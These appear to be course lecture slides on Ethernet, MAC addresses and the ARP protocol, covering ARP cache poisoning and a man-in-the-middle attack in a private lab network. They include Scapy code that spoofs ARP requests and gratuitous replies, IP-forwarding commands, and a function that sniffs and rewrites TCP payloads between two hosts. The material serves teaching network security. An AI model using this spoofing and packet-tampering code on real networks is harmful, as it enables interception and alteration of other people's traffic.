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# ARP Protocol and Attacks

# Outline

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- **Network Interface**
- **Ethernet frame and MAC header**
- **ARP protocol**
- **ARP cache poisoning attack**

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# NETWORK INTERFACE AND ETHERNET

# Network Interface Card (NIC)

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- **Physical or logical link between computer and network**
- **Each NIC has a hardware address: MAC address**


```
seed@VM:~$ ifconfig
enp0s3: Link encap:Ethernet HWaddr 08:00:27:77:2e:c3
        inet addr:10.0.2.8  Bcast:10.0.2.255  Mask:255.255.255.0
        inet6 addr: fe80::b3ef:2396:2df0:30e0/64  Scope:Link
        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
        RX packets:43628  errors:0  dropped:0  overruns:0  frame:0
        TX packets:1713262  errors:0  dropped:0  overruns:0  carrier:0
        collisions:0  txqueuelen:1000
        RX bytes:6975999 (6.9 MB)  TX bytes:260652814 (260.6 MB)
```

# MAC Addresses


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- **Media Access Control** address (also known as link-layer address, Ethernet address, or physical address)
  - Used to address link-layer frames to destination
  - A 48-bit (6-byte) value that is associated with a physical NIC
    - **Example: 1A-2F-BB-76-09-AD**
  - MAC address burned in NIC ROM (sometimes software settable)
  - No two NICs should have the same MAC address
    - **Even though sometimes they do, just make sure they're not on the same network**
  - Unlike an IP address, a MAC address **does NOT change** when a host moves from network to network
  - A host on a network **"listens" to ALL frames** but ignores frames that are not addressed to it
    - Frames that are addressed to a host are passed up to the Network Layer


# Packet Flow




# Physical and Virtual NIC



a) physical interface



(b) loopback/dummy interface



(c) tun/tap interface

# Examples of Virtual NIC

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- **Loopback Interface**


```
$ ifconfig lo
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
    inet 127.0.0.1  netmask 255.0.0.0
    inet6 ::1  prefixlen 128  scopeid 0x10<host>
    loop  txqueuelen 1000  (Local Loopback)
```

- **Dummy Interface (similar to loopback, but with its own IP)**

```
# ip link add dummy1 type dummy
# ip addr add 1.2.3.4/24 dev dummy1
# ip link set dummy1 up
# ifconfig
dummy1: flags=195<UP,BROADCAST,RUNNING,NOARP>  mtu 1500
    inet 1.2.3.4  netmask 255.255.255.0  broadcast 0.0.0.0
    ether 6a:e8:f2:54:88:46  txqueuelen 1000  (Ethernet)
```



# Ethernet Frame & MAC Header



# Ethernet Frame Example

- ▼ Ethernet II, Src: 08:00:27:84:5e:b9, Dst: 08:00:27:dd:08:88
  - ▶ Destination: 08:00:27:dd:08:88
  - ▶ Source: 08:00:27:84:5e:b9
  - Type: IPv4 (0x0800)
- ▶ Internet Protocol Version 4, Src: 10.0.2.6, Dst: 10.0.2.7
- ▶ Internet Control Message Protocol

0000	08 00 27 dd 08 88 08 00	27 84 5e b9 08 00	45 00	..'.^...E.
0010	00 54 fe a5 40 00 40 01	23 f7 0a 00 02 06 0a 00	.T..@.@. #.....	
0020	02 07 08 00 5a fc 0b 05	00 01 dc 8a 31 5e 8d 11	....Z... ..1^..	

# Scapy Program

---

```
$ python3
>>> from scapy.all import *
>>> ls(Ether)
dst          : DestMACField          = (None)
src          : SourceMACField        = (None)
type         : XShortEnumField       = (36864)
```

# Promiscuous Mode

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- **Ethernet is a broadcast medium**
- **NIC check destination MAC address**
  - mine: accept the frame
  - not mine: discard it
- **Enable promiscuous mode**
  - Will not check destination MAC
  - Take in all the packets on the local network
- **Useful for packet sniffing**

# MAC Address Randomization and Privacy

## iOS 8 to stymie trackers and marketers with MAC address randomization

When searching for Wi-Fi networks, iOS8 devices can hide their true identities.

by Lee Hutchinson - Jun 9, 2014 10:56am EDT

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Quartz is **reporting a change** to how iOS 8-equipped devices search out Wi-Fi networks with which to connect. The new mobile operating system, which is on track for a release in the fall, gives iOS 8 devices the ability to identify themselves not with their unique burned-in hardware MAC address but rather with a random, software-supplied address instead.



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
# THE ARP PROTOCOL

# The ARP Protocol

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- **Communication on LAN**
  - Need to use MAC address
  - But we only know the IP address
- **ARP: Address Resolution Protocol**
  - Find MAC from IP

# ARP Request/Reply





# Send ARP Request: Example 1

---

ping 10.9.0.6 from 10.9.0.5

```
// On 10.9.0.5
# tcpdump -i eth0 -n
03:10:44.656336 ARP, Request who-has 10.9.0.5 tell 10.9.0.6, ...
03:10:44.656362 ARP, Reply 10.9.0.5 is-at 02:42:0a:09:00:05, ...
03:10:44.656382 IP 10.9.0.6 > 10.9.0.5: ICMP echo request, ...
03:10:44.656392 IP 10.9.0.5 > 10.9.0.6: ICMP echo reply, ...
```


# Send ARP Request: Example 2

ping 10.0.2.15 from 10.0.2.4

No.	Time	Source	Destination	Protocol	Length	Info
1	202...	PcsCompu_65:a7:3c	Broadcast	ARP	42	Who has 10.0.2.15? Tell 10.0.2.4
2	202...	PcsCompu_b8:7c:bb	PcsCompu_65:a...	ARP	60	10.0.2.15 is at 08:00:27:b8:7c:bb
3	202...	10.0.2.4	10.0.2.15	ICMP	98	Echo (ping) request id=0x2c30, seq=1/256,
4	202...	10.0.2.15	10.0.2.4	ICMP	98	Echo (ping) reply id=0x2c30, seq=1/256,
5	202...	10.0.2.4	10.0.2.15	ICMP	98	Echo (ping) request id=0x2c30, seq=2/512,
6	202...	10.0.2.15	10.0.2.4	ICMP	98	Echo (ping) reply id=0x2c30, seq=2/512,
7	202...	PcsCompu_b8:7c:bb	PcsCompu_65:a...	ARP	60	Who has 10.0.2.4? Tell 10.0.2.15
8	202...	PcsCompu_65:a7:3c	PcsCompu_b8:7...	ARP	42	10.0.2.4 is at 08:00:27:65:a7:3c

```
▸ Frame 1: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface 0
▾ Ethernet II, Src: PcsCompu_65:a7:3c (08:00:27:65:a7:3c), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
  ▸ Destination: Broadcast (ff:ff:ff:ff:ff:ff)
  ▸ Source: PcsCompu_65:a7:3c (08:00:27:65:a7:3c)
  Type: ARP (0x0806)
▾ Address Resolution Protocol (request)
  Hardware type: Ethernet (1)
  Protocol type: IPv4 (0x0800)
  Hardware size: 6
  Protocol size: 4
  Opcode: request (1)
  Sender MAC address: PcsCompu_65:a7:3c (08:00:27:65:a7:3c)
  Sender IP address: 10.0.2.4
  Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00)
  Target IP address: 10.0.2.15
```

# ARP Message Format



# ARP Class in Scapy

---

```
>>> ls(ARP)
hwtype      : XShortField          = (1)
ptype       : XShortEnumField      = (2048)
hwlen       : FieldLenField        = (None)
plen        : FieldLenField        = (None)
op          : ShortEnumField        = (1)
hwsrc       : MultipleTypeField    = (None)
psrc        : MultipleTypeField    = (None)
hwdst       : MultipleTypeField    = (None)
pdst        : MultipleTypeField    = (None)
>>> ls(Ether)
dst         : DestMACField          = (None)
src         : SourceMACField        = (None)
type        : XShortEnumField      = (36864)
```

# Questions

---

## Different behaviors of the following commands

1. ping 10.9.0.6 (existing, on LAN)
2. ping 10.9.0.99 (non-existing, on LAN)
3. ping 1.2.3.4 (non-existing, not on LAN)
4. ping 8.8.8.8 (existing, on the Internet)

# ARP Cache

---

- Avoid sending too many ARP requests
- ARP caches received information

```
# arp -n          empty cache
# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=64 time=0.138 ms
...
# arp -n
Address      HWtype  HWaddress      Flags Mask  Iface
10.9.0.6     ether   02:42:0a:09:00:06  C           eth0
               ↘ Cached MAC address
```

# ARP Cache Poisoning

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- **Spoof ARP Messages**
  - Request
  - Reply
  - Gratuitous message
- **Spoofed message might be cached by the victim**
  - Which type of message will be cached depends on OS implementation

# Constructing ARP Message

---

## Construct ARP packet

```
#!/usr/bin/python3

from scapy.all import *

E = Ether()
A = ARP()

pkt = E/A
sendp(pkt)
```

## Fields of ARP and Ether Class

```
>>> ls(ARP)
hwtype      : XShortField          = (1)
ptype       : XShortEnumField     = (2048)
hwlen       : FieldLenField       = (None)
plen        : FieldLenField       = (None)
op          : ShortEnumField       = (1)
hwsrc       : MultipleTypeField   = (None)
psrc        : MultipleTypeField   = (None)
hwdst       : MultipleTypeField   = (None)
pdst        : MultipleTypeField   = (None)
>>> ls(Ether)
dst         : DestMACField         = (None)
src         : SourceMACField       = (None)
type        : XShortEnumField     = (36864)
```



# Spoof ARP Request/Reply: Code Skeleton

```
target_IP    = "10.9.0.5"  
target_MAC   = "02:42:0a:09:00:05"  
  
fake_IP      = "10.9.0.99"  
fake_MAC     = "aa:bb:cc:dd:ee:ff"
```

```
# Construct the Ether header
```

```
ether = Ether()  
ether.dst =  
ether.src =
```

```
# Construct the ARP packet
```

```
arp = ARP()
```

```
arp.hwsrc =  
arp.psrc =
```


```
arp.hwdst =  
arp.pdst =
```

```
arp.op = 1
```

```
frame = ether/arp  
sendp(frame)
```

victim: **10.9.0.5**

goal: map **10.9.0.99** to **aa:bb:cc:dd:ee:ff**



# Spoofing Gratuitous Message

---

- **Special type of ARP message**
- **Source IP = Destination IP**
- **Destination MAC = broadcast address (ff:ff:ff:ff:ff:ff)**

```
IP_fake = "10.9.0.99"
ether = Ether(src="aa:bb:cc:dd:ee:ff", dst="ff:ff:ff:ff:ff:ff")
arp    = ARP(psrc=IP_fake, hwsrc="aa:bb:cc:dd:ee:ff",
             pdst=IP_fake, hwdst="ff:ff:ff:ff:ff:ff")
arp.op = 2
```

## Note: ARP Becomes “Stateful”

---

```
$ ping 10.0.5.99
PING 10.0.5.99 (10.0.5.99) 56(84) bytes of data.
^C
--- 10.0.5.99 ping statistics ---
3 packets transmitted, 0 received, 100% packet loss
```


```
$ arp -n
```

Address	HWtype	HWaddress
10.0.5.3	ether	08:00:27:23:30:c5
10.0.5.99		(incomplete)
10.0.5.1	ether	52:54:00:12:35:00

---

# MAN-IN-THE-MIDDLE ATTACK

# Man-In-The-Middle Attack



# Use ARP Cache Poisoning to Redirect Packets

---

- **Poison A's ARP cache, so B's IP is mapped to M's MAC.**
- **Poison B's ARP cache, so A's IP is mapped to M's MAC.**

```
// On 10.9.0.5      Machine A
# arp -n
Address      HWtype  HWaddress      Flags Mask  Iface
10.9.0.105   ether   02:42:0a:09:00:69  C          eth0
10.9.0.6     ether   02:42:0a:09:00:69  C          eth0
                ↖ This is M's MAC

// On 10.9.0.6      Machine B
# arp -n
Address      HWtype  HWaddress      Flags Mask  Iface
10.9.0.105   ether   02:42:0a:09:00:69  C          eth0
10.9.0.5     ether   02:42:0a:09:00:69  C          eth0
                ↖ This is M's MAC
```

# Forward Packets without Modification

---

- **Enable/Disable IP Forwarding**

```
sysctl net.ipv4.ip_forward=1
```

```
sysctl net.ipv4.ip_forward=0
```

# Demo

---

- With IP forwarding on

```
root@719962c53f8a:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=63 time=0.102 ms
From 10.9.0.105: icmp_seq=2 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=2 ttl=63 time=0.073 ms
From 10.9.0.105: icmp_seq=3 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=3 ttl=63 time=0.090 ms
```



# MITM Step 1: Intercept Packets

---

- **Disable IP Forwarding**

- `sysctl net.ipv4.ip_forward=0`

- **How to Get the packet on M?**

## MITM Step 2: Get the Intercepted Packets

---

- **Question:** which filter should we use, f1 or f2?

```
IP_A = "10.9.0.5"
```

```
IP_B = "10.9.0.6"
```

```
MAC_A = "02:42:0a:09:00:05"
```

```
MAC_B = "02:42:0a:09:00:06"
```

```
f1 = 'tcp and (ether src ' + MAC_A + ' or ' + \  
      'ether src ' + MAC_B + ' )'
```

```
f2 = 'tcp and (src host ' + IP_A + ' or ' + \  
      'dst host ' + IP_B + ' )'
```

```
pkt = sniff(iface='eth0', filter=???, prn=spooft_pkt)
```

## MITM Step 3: Modify Packets

---

```
def spoof_pkt(pkt):
    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)

        if pkt[TCP].payload:
            data = pkt[TCP].payload.load
            newdata = re.sub(r'[0-9a-zA-Z]', r'A', data.decode())
            send(newpkt/newdata)
        else:
            send(newpkt)

    elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        send(newpkt)
```

# Question

---

## **Disclaimer: This is fiction!**

In the 2020 State of Union address, President Trump said the following: "In 2019, Russian hackers launched many ARP cache-poisoning attacks from Russia against the computer networks inside the White House, but, as I can proudly tell you, under my leadership, my staff has successfully defeated all of these attacks ." Then he paused, looking at the audience, waiting for applause.

**Do you applaud or not?**